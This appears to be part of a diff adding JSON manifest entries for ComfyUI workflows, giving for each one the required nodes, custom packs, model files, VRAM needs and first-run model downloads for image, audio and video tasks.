+ "relight-qwen-edit-2509-reference": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImageAdvanced","StringConcatenate","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Light-Migration.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "scene-mesh-moge": {"core":["ComfyMathExpression","ComfySwitchNode","GetImageSize","LoadImage","LoadMoGeModel","MoGeInference","MoGePointMapToMesh","MoGeRender","ResizeImagesByLongerEdge","SaveGLB","SaveImage"],"packs":{},"files":["geometry_estimation/moge_2_vitl_normal_fp16.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "sdxl-t2i": {"core":["CLIPTextEncode","CheckpointLoaderSimple","EmptyLatentImage","KSampler","SaveImage","VAEDecode"],"packs":{},"files":["checkpoints/sd_xl_base_1.0.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":[],"validated":true},
+ "selftest-image": {"core":["ImageInvert","LoadImage","SaveImage"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "selftest-meta-batch": {"core":["ImageInvert"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "selftest-video": {"core":["CreateVideo","ImageBatch","ImageInvert","LoadImage","RepeatImageBatch","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "sfx-hunyuan-foley": {"core":["SaveAudioMP3"],"packs":{"ComfyUI-HunyuanVideo-Foley":["HunyuanDependenciesLoader","HunyuanFoleySampler","HunyuanModelLoader"]},"files":["foley/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors","foley/synchformer_state_dict_fp16.safetensors","foley/vae_128d_48k_fp16.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":["HunyuanDependenciesLoader fetches the SigLIP2 and CLAP text encoders into the Hugging Face cache on first run"],"validated":true},
+ "sfx-mmaudio-t2a": {"core":["SaveAudioMP3"],"packs":{"ComfyUI-MMAudio":["MMAudioFeatureUtilsLoader","MMAudioModelLoader","MMAudioSampler"]},"files":["mmaudio/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors","mmaudio/mmaudio_large_44k_v2_fp16.safetensors","mmaudio/mmaudio_synchformer_fp16.safetensors","mmaudio/mmaudio_vae_44k_fp16.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":[],"validated":true},
+ "sfx-stable-audio-3-small": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","EmptyLatentAudio","KSampler","PrimitiveFloat","PrimitiveStringMultiline","SaveAudioAdvanced","VAEDecodeAudio"],"packs":{},"files":["checkpoints/stable_audio_3_small_sfx.safetensors","text_encoders/t5gemma_b_b_ul2.safetensors"],"optional":[],"vramGb":6,"isolated":false,"firstRun":[],"validated":true},
+ "sfx-stable-audio-open": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","EmptyLatentAudio","KSampler","SaveAudioAdvanced","VAEDecodeAudio"],"packs":{},"files":["checkpoints/stable-audio-open-1.0.safetensors","text_encoders/t5-base.safetensors"],"optional":[],"vramGb":6,"isolated":false,"firstRun":[],"validated":true},
+ "sfx-thinksound": {"core":["SaveAudioMP3"],"packs":{"ComfyUI-ThinkSound_Wrapper":["ThinkSoundFeatureUtilsLoader","ThinkSoundModelLoader","ThinkSoundSampler"]},"files":["thinksound/synchformer_state_dict.pth","thinksound/thinksound_light.ckpt","thinksound/vae.ckpt"],"optional":[],"vramGb":12,"isolated":true,"firstRun":["ThinkSoundFeatureUtilsLoader fetches google/t5-v1_1-xl and facebook/metaclip-h14 into the Hugging Face cache on first run"],"validated":true},
+ "soul-cast-sheet-zimage": {"core":["CLIPLoader","CLIPTextEncode","ConditioningZeroOut","EmptySD3LatentImage","KSampler","ModelSamplingAuraFlow","SaveImage","StringConcatenate","UNETLoader","VAEDecode","VAELoader"],"packs":{"ComfyUI-KJNodes":["ImageGridtoBatch"]},"files":["diffusion_models/z_image_turbo_bf16.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":14,"isolated":false,"firstRun":[],"validated":true},
+ "speech-translate-gemma4": {"core":["CLIPLoader","LoadAudio","SaveText","TextGenerate"],"packs":{},"files":["text_encoders/gemma4_e4b_it_fp8_scaled.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "still-to-clip": {"core":["ComfyMathExpression","CreateVideo","EmptyAudio","ImageScale","LoadImage","PrimitiveFloat","RepeatImageBatch","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "storyboard-qwen-edit-2509-next-scene": {"core":["CFGNorm","CLIPLoader","FluxKontextImageScale","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","PrimitiveFloat","PrimitiveInt","SaveImageAdvanced","StringConcatenate","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","loras/Qwen-Image-Edit-2509-Lightning-4steps-V1.0-bf16.safetensors","loras/next-scene_lora-v2-3000.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "style-ref-flux2-klein-4b": {"core":["CFGGuider","CLIPLoader","CLIPTextEncode","ConditioningZeroOut","EmptyFlux2LatentImage","Flux2Scheduler","ImageScaleToTotalPixels","KSamplerSelect","LoadImage","RandomNoise","ReferenceLatent","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/flux-2-klein-4b-fp8.safetensors","text_encoders/qwen_3_4b.safetensors","vae/flux2-vae.safetensors"],"optional":[],"vramGb":10,"isolated":false,"firstRun":[],"validated":true},
+ "style-ref-krea2": {"core":["BasicScheduler","CFGGuider","CLIPLoader","ConditioningZeroOut","EmptyLatentImage","FluxKontextMultiReferenceLatentMethod","KSamplerSelect","LoadImage","LoraLoaderModelOnly","ModelSamplingFlux","PrimitiveStringMultiline","RandomNoise","SamplerCustomAdvanced","SaveImage","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/krea2_turbo_int8_convrot.safetensors","loras/krea2_style_reference.safetensors","text_encoders/qwen3vl_4b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":20,"isolated":false,"firstRun":[],"validated":true},
+ "style-ref-qwen-edit-2511": {"core":["CFGNorm","CLIPLoader","EmptySD3LatentImage","FluxKontextMultiReferenceLatentMethod","ImageScaleToTotalPixels","KSampler","LoadImage","LoraLoaderModelOnly","ModelSamplingAuraFlow","SaveImage","StringConcatenate","TextEncodeQwenImageEditPlus","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors","loras/Qwen-Image-Edit-2511-Lightning-4steps-V1.0-bf16.safetensors","text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors","vae/qwen_image_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "style-ref-uso-flux1": {"core":["CLIPTextEncode","CLIPVisionEncode","CLIPVisionLoader","CheckpointLoaderSimple","ConditioningZeroOut","EmptySD3LatentImage","FluxGuidance","KSampler","LoadImage","LoraLoaderModelOnly","ModelPatchLoader","SaveImage","USOStyleReference","VAEDecode"],"packs":{},"files":["checkpoints/flux1-dev-fp8.safetensors","clip_vision/sigclip_vision_patch14_384.safetensors","loras/uso-flux1-dit-lora-v1.safetensors","model_patches/uso-flux1-projector-v1.safetensors"],"optional":[],"vramGb":20,"isolated":false,"firstRun":[],"validated":true},
+ "translate-qwen35-textgen": {"core":["CLIPLoader","SaveText","StringConcatenate","TextGenerate"],"packs":{},"files":["text_encoders/qwen3.5_4b_bf16.safetensors"],"optional":[],"vramGb":10,"isolated":false,"firstRun":[],"validated":true},
+ "tryon-flux2-klein-4b": {"core":["CFGGuider","CLIPLoader","CLIPTextEncode","ConditioningZeroOut","EmptyFlux2LatentImage","EmptyImage","Flux2Scheduler","GetImageSize","ImageCompositeMasked","ImageScaleToTotalPixels","KSamplerSelect","LoadImage","LoraLoaderModelOnly","RandomNoise","ReferenceLatent","SamplerCustomAdvanced","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{"ComfyUI-RMBG":["ClothesSegment"]},"files":["diffusion_models/flux-2-klein-4b-fp8.safetensors","loras/tryon-klein-4b.safetensors","text_encoders/qwen_3_4b.safetensors","vae/flux2-vae.safetensors"],"optional":[],"vramGb":10,"isolated":false,"firstRun":["ClothesSegment (ComfyUI-RMBG) downloads segformer_b2_clothes (0.11 GB) into models/RMBG/segformer_clothes on first run"],"validated":true},
+ "tts-chatterbox-multilingual": {"core":["ComfyMathExpression","LoadAudio","PrimitiveInt","SaveAudioMP3"],"packs":{"ComfyUI_Fill-ChatterBox":["FL_ChatterboxMultilingualTTS"]},"files":[],"optional":[],"vramGb":6,"isolated":false,"firstRun":["FL_ChatterboxMultilingualTTS downloads ResembleAI/chatterbox (t3_mtl23ls_v2.safetensors 2.14 GB, s3gen.pt 1.06 GB, ve.pt, conds.pt, grapheme_mtl_merged_expanded_v1.json, Cangjie5_TC.json) into models/chatterbox/chatterbox_multilingual on first run"],"validated":true},
+ "tts-dialogue-chatterbox": {"core":["ComfyMathExpression","LoadAudio","PrimitiveInt","SaveAudioMP3"],"packs":{"ComfyUI_Fill-ChatterBox":["FL_ChatterboxDialogTTS"]},"files":[],"optional":[],"vramGb":6,"isolated":false,"firstRun":["FL_ChatterboxDialogTTS downloads ResembleAI/chatterbox English model (t3_cfg.safetensors 2.13 GB, s3gen.safetensors 1.06 GB, ve.safetensors, tokenizer.json, conds.pt) into models/chatterbox/chatterbox on first run"],"validated":true},
+ "tts-indextts2": {"core":["LoadAudio","SaveAudioMP3"],"packs":{"ComfyUI-IndexTTS2":["IndexTTS2Simple"]},"files":[],"optional":[],"vramGb":8,"isolated":false,"firstRun":["IndexTeam/IndexTTS-2 must be in custom_nodes/ComfyUI-IndexTTS2/checkpoints (gpt.pth 3.48 GB, s2mel.pth 1.2 GB, qwen0.6bemo4-merge 1.19 GB, config.yaml, bpe.model, ...); w2v-bert-2.0, MaskGCT semantic codec, CAMPPlus and BigVGAN are fetched from Hugging Face on first run"],"validated":true},
+ "upscale-image-esrgan": {"core":["ImageScaleBy","ImageUpscaleWithModel","LoadImage","SaveImage","UpscaleModelLoader"],"packs":{},"files":["upscale_models/RealESRGAN_x4plus.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "upscale-image-seedvr2": {"core":["JoinImageWithAlpha","KSampler","LoadImage","ResizeImageMaskNode","SaveImage","SeedVR2Conditioning","SeedVR2PostProcessing","SeedVR2Preprocess","UNETLoader","VAEDecodeTiled","VAEEncodeTiled","VAELoader"],"packs":{},"files":["diffusion_models/seedvr2_7b_int8_convrot.safetensors","vae/seedvr2_ema_vae_fp16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "upscale-video-esrgan": {"core":["CreateVideo","GetVideoComponents","ImageUpscaleWithModel","LoadVideo","SaveVideo","UpscaleModelLoader"],"packs":{},"files":["upscale_models/RealESRGAN_x4plus.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "upscale-video-esrgan-chunked": {"core":["ImageUpscaleWithModel","ResizeImageMaskNode","UpscaleModelLoader"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfo"]},"files":["upscale_models/RealESRGAN_x4plus.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "upscale-video-seedvr2": {"core":["CreateVideo","GetVideoComponents","KSampler","LoadVideo","ResizeImageMaskNode","SaveVideo","SeedVR2Conditioning","SeedVR2PostProcessing","SeedVR2Preprocess","UNETLoader","VAEDecodeTiled","VAEEncodeTiled","VAELoader"],"packs":{},"files":["diffusion_models/seedvr2_3b_int8_convrot.safetensors","vae/seedvr2_ema_vae_fp16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "upscale-video-seedvr2-chunked": {"core":["KSampler","ResizeImageMaskNode","SeedVR2Conditioning","SeedVR2PostProcessing","SeedVR2Preprocess","UNETLoader","VAEDecodeTiled","VAEEncodeTiled","VAELoader"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfo"]},"files":["diffusion_models/seedvr2_3b_int8_convrot.safetensors","vae/seedvr2_ema_vae_fp16.safetensors"],"optional":[],"vramGb":16,"isolated":false,"firstRun":[],"validated":true},
+ "v2a-hunyuan-foley": {"core":["ConcatenateVideo","LoadVideo","SaveAudioMP3","SaveVideo"],"packs":{"ComfyUI-HunyuanVideo-Foley":["HunyuanDependenciesLoader","HunyuanFoleySampler","HunyuanModelLoader"],"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":["foley/hunyuanvideo_foley_xl_fp8_e4m3fn.safetensors","foley/synchformer_state_dict_fp16.safetensors","foley/vae_128d_48k_fp16.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":["HunyuanDependenciesLoader fetches the SigLIP2 and CLAP text encoders into the Hugging Face cache on first run"],"validated":true},
+ "v2a-mmaudio": {"core":["SaveAudio"],"packs":{"ComfyUI-MMAudio":["MMAudioFeatureUtilsLoader","MMAudioModelLoader","MMAudioSampler"],"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfo"]},"files":["mmaudio/apple_DFN5B-CLIP-ViT-H-14-384_fp16.safetensors","mmaudio/mmaudio_large_44k_v2_fp16.safetensors","mmaudio/mmaudio_synchformer_fp16.safetensors","mmaudio/mmaudio_vae_44k_fp16.safetensors"],"optional":[],"vramGb":8,"isolated":false,"firstRun":[],"validated":true},
+ "video-append-endcard": {"core":["AudioConcat","ComfyMathExpression","ConcatenateVideo","CreateVideo","EmptyAudio","ImageScale","LoadAudio","LoadImage","LoadVideo","PrimitiveFloat","PrimitiveInt","RepeatImageBatch","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-bg-remove-birefnet": {"core":["CreateVideo","GetVideoComponents","InvertMask","JoinImageWithAlpha","LoadBackgroundRemovalModel","LoadVideo","MaskToImage","RemoveBackground","SaveVideo","SaveWEBM"],"packs":{},"files":["background_removal/birefnet.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "video-bg-remove-sam3": {"core":["CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","GetVideoComponents","InvertMask","JoinImageWithAlpha","LoadVideo","MaskToImage","SAM3_TrackToMask","SAM3_VideoTrack","SaveVideo","SaveWEBM"],"packs":{},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors"],"optional":[],"vramGb":6,"isolated":false,"firstRun":[],"validated":true},
+ "video-character-swap-h3": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","ImageFromBatch","ImageScale","LoadImage","LoadVideo","LoraLoaderModelOnly","MiniMaxH3SigmaShift","ModelAttentionBackend","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SaveVideo","SelectCLIPDevice","UNETLoader","VAELoader","Video Slice"],"packs":{"h3_character_swap":["H3CharacterSwapAssemble","H3CharacterSwapController","H3CharacterSwapExpandMask","H3CharacterSwapModels","H3CharacterSwapPrepareVideo","H3CharacterSwapRecoverMasks","H3CharacterSwapSelectSubject","H3CharacterSwapSettings","H3CharacterSwapShot","H3CharacterSwapWindowPlan"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","loras/h3_character_swap_v1.5.safetensors","loras/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","vae/minimax_h3_audio_vae_fp32.safetensors","vae/minimax_h3_video_vae_fp16.safetensors"],"optional":["loras/h3_character_swap_pro4500_1000.safetensors"],"vramGb":24,"isolated":false,"firstRun":[],"validated":false},
+ "video-character-swap-h3-relay": {"core":["BasicScheduler","CFGGuider","CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","EndLoop","GetImageSize","ImageFromBatch","KSamplerSelect","LTXVSeparateAVLatent","LoadImage","LoadVideo","LoraLoaderModelOnly","MiniMaxH3AddGuide","MiniMaxH3ReferenceToVideo","MiniMaxH3SigmaShift","ModelAttentionBackend","RandomNoise","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SamplerCustomAdvanced","SaveVideo","SelectCLIPDevice","StartLoop","UNETLoader","VAEDecode","VAEEncode","VAELoader","Video Slice"],"packs":{"h3-relay":["H3RelayAppendWindow","H3RelayApplyEditMask","H3RelayApplyHistory","H3RelayExpandMask","H3RelayFinishWindows","H3RelayPrepareSource","H3RelayRecoverMasks","H3RelaySamplingMemory","H3RelaySelectMask","H3RelayTextMemory","H3RelayWindowInputs","H3RelayWindowPlan"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","loras/h3_character_swap_v1.5.safetensors","loras/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","vae/minimax_h3_audio_vae_fp32.safetensors","vae/minimax_h3_video_vae_fp16.safetensors"],"optional":["loras/h3_character_swap_pro4500_1000.safetensors"],"vramGb":24,"isolated":false,"firstRun":[],"validated":false},
+ "video-character-swap-h3-segment": {"core":["BasicScheduler","CFGGuider","CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","EndLoop","GetImageSize","GetVideoComponents","ImageFromBatch","ImageScale","KSamplerSelect","LTXVSeparateAVLatent","LoadImage","LoadVideo","LoraLoaderModelOnly","MiniMaxH3AddGuide","MiniMaxH3ReferenceToVideo","MiniMaxH3SigmaShift","ModelAttentionBackend","RandomNoise","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SamplerCustomAdvanced","SaveVideo","SelectCLIPDevice","StartLoop","UNETLoader","VAEDecode","VAEEncode","VAELoader","Video Slice"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_VideoCombine"],"h3-relay":["H3RelayAppendWindow","H3RelayApplyEditMask","H3RelayApplyHistory","H3RelayExpandMask","H3RelayFinishWindows","H3RelayPrepareSource","H3RelayRecoverMasks","H3RelaySamplingMemory","H3RelaySelectMask","H3RelayTextMemory","H3RelayWindowInputs","H3RelayWindowPlan"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","loras/h3_character_swap_v1.5.safetensors","loras/minimax_h3_fl2v_turbo_8step_v1.0_768p_comfyui_bf16.safetensors","text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","vae/minimax_h3_audio_vae_fp32.safetensors","vae/minimax_h3_video_vae_fp16.safetensors"],"optional":["loras/h3_character_swap_pro4500_1000.safetensors"],"vramGb":24,"isolated":false,"firstRun":[],"validated":false},
+ "video-concat-2": {"core":["BatchImagesNode","CreateVideo","GetVideoComponents","ImageScale","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-3": {"core":["BatchImagesNode","CreateVideo","GetVideoComponents","ImageScale","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-4": {"core":["BatchImagesNode","CreateVideo","GetVideoComponents","ImageScale","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-encoded": {"core":["ConcatenateVideo","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound1-2": {"core":["BatchImagesNode","CreateVideo","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound1-3": {"core":["BatchImagesNode","CreateVideo","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound1-4": {"core":["BatchImagesNode","CreateVideo","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound2-2": {"core":["AudioConcat","BatchImagesNode","CreateVideo","EmptyAudio","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoInfoLoaded"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound2-3": {"core":["AudioConcat","BatchImagesNode","CreateVideo","EmptyAudio","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoInfoLoaded"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-concat-sound2-4": {"core":["AudioConcat","BatchImagesNode","CreateVideo","EmptyAudio","ImageScale","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo","VHS_VideoInfoLoaded"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-depth-da3": {"core":["ComfySwitchNode","CreateVideo","DA3Inference","DA3Render","GetImageSize","GetVideoComponents","ImageScale","ImageStitch","LoadDA3Model","LoadVideo","PrimitiveBoolean","SaveVideo"],"packs":{},"files":["geometry_estimation/depth_anything_3_mono_large.safetensors"],"optional":[],"vramGb":4,"isolated":false,"firstRun":[],"validated":true},
+ "video-depth-vda-large": {"core":["ComfySwitchNode","CreateVideo","GetImageSize","GetVideoComponents","ImageScale","ImageStitch","LoadVideo","PrimitiveBoolean","SaveVideo"],"packs":{"ComfyUI-Video-Depth-Anything":["LoadVideoDepthAnythingModel","VideoDepthAnythingOutput","VideoDepthAnythingProcess"]},"files":[],"optional":[],"vramGb":8,"isolated":false,"firstRun":["LoadVideoDepthAnythingModel downloads depth-anything/Video-Depth-Anything-Large video_depth_anything_vitl.pth (about 1.5 GB) into models/videodepthanything on first run"],"validated":true},
+ "video-depth-vda-small": {"core":["ComfySwitchNode","CreateVideo","GetImageSize","GetVideoComponents","ImageScale","ImageStitch","LoadVideo","PrimitiveBoolean","SaveVideo"],"packs":{"ComfyUI-Video-Depth-Anything":["LoadVideoDepthAnythingModel","VideoDepthAnythingOutput","VideoDepthAnythingProcess"]},"files":[],"optional":[],"vramGb":4,"isolated":false,"firstRun":["LoadVideoDepthAnythingModel downloads depth-anything/Video-Depth-Anything-Small video_depth_anything_vits.pth (0.12 GB) into models/videodepthanything on first run"],"validated":true},
+ "video-erase-void": {"core":["BasicScheduler","CFGGuider","CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","ComfySwitchNode","CreateVideo","GetImageSize","GetVideoComponents","GrowMask","ImageFromBatch","ImageScale","LoadVideo","OpticalFlowLoader","PrimitiveBoolean","PrimitiveFloat","PrimitiveInt","RandomNoise","SAM3_TrackToMask","SAM3_VideoTrack","SamplerCustomAdvanced","SaveVideo","TrimAudioDuration","UNETLoader","VAEDecode","VAELoader","VOIDInpaintConditioning","VOIDSampler","VOIDWarpedNoise","VOIDWarpedNoiseSource","Video Slice"],"packs":{},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/void_pass1.safetensors","diffusion_models/void_pass2.safetensors","optical_flow/raft_large_C_T_SKHT_V2-ff5fadd5.safetensors","text_encoders/t5xxl_fp16.safetensors","vae/cogvideox_vae.safetensors"],"optional":[],"vramGb":40,"isolated":false,"firstRun":[],"validated":true},
+ "video-evolution-wan22-fun-vace": {"core":["CLIPLoader","CLIPTextEncode","ComfyMathExpression","ComfySwitchNode","CreateVideo","DA3Inference","DA3Render","ImageScale","KSamplerAdvanced","LatentConcat","LoadDA3Model","LoadImage","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","TrimVideoLatent","UNETLoader","VAEDecode","VAEEncode","VAELoader","WanVaceToVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":["diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","geometry_estimation/depth_anything_3_mono_large.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-export-exr": {"core":["CreateVideo","GetVideoComponents","LoadVideo","SaveImageAdvanced","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-export-pro": {"core":["GetVideoComponents","LoadVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_VideoCombine"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-export-pro-chunked": {"core":[],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine","VHS_VideoInfo"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-extend-wan22-fun-vace": {"core":["BatchImagesNode","CLIPLoader","CLIPTextEncode","ComfyMathExpression","CreateVideo","EmptyImage","GetVideoComponents","ImageFromBatch","ImageScale","ImageToMask","KSamplerAdvanced","LoadVideo","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveInt","SaveVideo","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["ImageBatchExtendWithOverlap"]},"files":["diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-fit-clip": {"core":["ComfyMathExpression","ImageScale","PrimitiveFloat"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_BatchManager","VHS_LoadVideo","VHS_VideoCombine"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-inpaint-wan-vace": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","GetImageSize","GetVideoComponents","GrowMask","ImageCompositeMasked","ImageFromBatch","ImageScale","ImageToMask","InvertMask","KSampler","LoadVideo","LoraLoaderModelOnly","MaskToImage","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SAM3_TrackToMask","SAM3_VideoTrack","SaveVideo","TrimAudioDuration","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","Video Slice","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["GrowMaskWithBlur"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/wan2.1_vace_14B_fp16.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
